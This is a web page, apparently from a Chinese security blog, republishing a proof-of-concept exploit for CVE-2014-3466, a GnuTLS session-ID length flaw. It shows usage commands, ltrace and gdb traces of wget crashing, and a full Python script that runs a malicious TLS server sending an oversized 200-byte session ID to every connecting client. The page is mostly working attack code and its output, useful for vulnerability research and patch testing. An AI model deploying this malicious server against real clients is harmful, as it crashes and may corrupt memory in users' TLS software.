CVE-2014-3466_GnuTLS緩衝區漏洞

# CVE-2014-3466 GnuTLS緩衝區漏洞
==Usage==

$ python poc.py 4433
$ ldd $(which wget) 
...
	libnettle.so.4 => /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000)
	libgnutls.so.28 => /usr/lib/x86_64-linux-gnu/libgnutls.so.28 (0x00007fa89ff5c000)
...

$ ltrace -riS -e gnutls_handshake wget -d https://localhost:4433
...
  0.000096 [0x4308a0] wget->gnutls_handshake(0xdf5380, 4, 0xa4dd30, 0x7f30f2731620 
  0.000216 [0x7f30f246b807] SYS_writev(4, 0x7fffc0b9c970, 1)    = 272
  0.000067 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdf7920, 5, 0)     = 5
  0.500357 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdfbad0, 250, 0)   = 250
  0.000095 [0x7f30f2e408f0] --- SIGSEGV (Segmentation fault) ---
  0.004670 [0xffffffffffffffff] +++ killed by SIGSEGV +++

$ sudo apt-get install libgnutls28-dbg
$ gdb --args wget https://localhost:4433
...
(gdb) r
...
(gdb) bt full
...
#0  0x00007ffff79548f0 in _gnutls_supported_ciphersuites (session=session@entry=0xa5e380, 
    cipher_suites=cipher_suites@entry=0x7fffffffd340 , 
    max_cipher_suite_size=max_cipher_suite_size@entry=512) at ciphersuites.c:1311
#1  0x00007ffff78c759a in _gnutls_client_set_ciphersuite (session=session@entry=0xa5e380, 
    suite=suite@entry=0xa64b5b '\377' ) at gnutls_handshake.c:1525
#2  0x00007ffff78cae15 in _gnutls_read_server_hello (datalen=, 
    data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' ..., session=0xa5e380) at gnutls_handshake.c:1778
#3  _gnutls_recv_hello (session=session@entry=0xa5e380, 
    data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' ..., datalen=) at gnutls_handshake.c:2222
#4  0x00007ffff78cb64f in _gnutls_recv_handshake (session=session@entry=0xa5e380, 
    type=type@entry=GNUTLS_HANDSHAKE_SERVER_HELLO, optional=optional@entry=0, buf=buf@entry=0x0)
    at gnutls_handshake.c:1442
...

==POC.py==

#!/usr/bin/env python
#
# PoC for CVE-2014-3466 
# (gnutls: insufficient session id length check in _gnutls_read_server_hello)
#
# Author:   Aaron Zauner 
# License:  CC0 1.0 (https://creativecommons.org/publicdomain/zero/1.0)
#
import sys
import socket
import time

# Record Layer
R_Type          = '16'          # Handshake Protocol
R_Version       = '03 01'       # TLS 1.0
R_Length        = '00 fa'       # 250 Bytes

# Handshake Protocol: ServerHello
HS_Type         = '02'          # Handshake Type: ServerHello
HS_Length       = '00 00 f6'    # 246 Bytes
HS_Version      = '03 01'       # TLS 1.0
HS_Random       = '''
53 8b 7f 63 c1 0e 1d 72 0a b3 f8 a7 0f f5 5d 69 
65 58 42 80 c1 fb 4f db 9a aa 04 a3 d3 4b 71 c7
'''                             # Random (gmt_unix_time + random bytes)
HS_SessID_Len   = 'c8'          # Session ID Length 200 Bytes (!)
HS_SessID_Data  = '''
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
'''                             # Session ID Data (Payload)

MaliciousServerHello = (
    R_Type      + R_Version     + R_Length          + 
    HS_Type     + HS_Length     + HS_Version        + 
    HS_Random   + HS_SessID_Len + HS_SessID_Data
).replace(' ', '').replace('\n', '').decode('hex')

def main():
    try:
        PORT = int(sys.argv[1])
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(('', PORT))
        sock.listen(1)
        print "-- started listener on port", PORT

        while True:
            conn, addr = sock.accept()
            print "<< client connected:", addr

            time.sleep(0.5) # wait for ClientHello :P
            if conn.send(MaliciousServerHello):
                print ">> sent payload to", addr[0]

            conn.close()
    finally:
        sock.close()

if __name__ == '__main__':
    if len(sys.argv) <= 1:
       print "  Usage:\n\tpython poc.py [port]\n"
       exit(1)

    main()

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容